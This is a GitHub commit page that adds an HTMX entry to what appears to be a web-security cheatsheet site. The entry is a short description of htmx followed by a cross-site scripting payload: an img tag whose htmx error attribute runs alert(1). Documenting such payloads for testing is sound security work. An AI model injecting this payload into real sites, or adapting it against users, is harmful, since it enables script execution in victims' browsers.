Skip to content

Commit

Permalink
add htmx payload
Browse files Browse the repository at this point in the history
  • Loading branch information
xanhacks committed May 2, 2024
1 parent b5bdc8b commit 8491296
Showing 1 changed file with 26 additions and 0 deletions.
26 changes: 26 additions & 0 deletions content/docs/framework/htmx.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
---
title: "HTMX"
description: "Cheatsheet on HTMX"
lead: "Cheatsheet on HTMX"
date: 2023-01-01T00:00:00+00:00
lastmod: 2023-01-01T00:00:00+00:00
draft: false
images: []
menu:
docs:
parent: "framework"
weight: 620
toc: true
---

## HTMX

[htmx](https://htmx.org/) gives you access to AJAX, CSS Transitions, WebSockets and Server Sent Events directly in HTML, using attributes, so you can build modern user interfaces with the simplicity and power of hypertext.

## XSS

```html
<script src="https://unpkg.com/htmx.org@1.9.12"></script>

<img src=x data-hx-on:error="alert(1)" />
```

0 comments on commit 8491296

Please sign in to comment.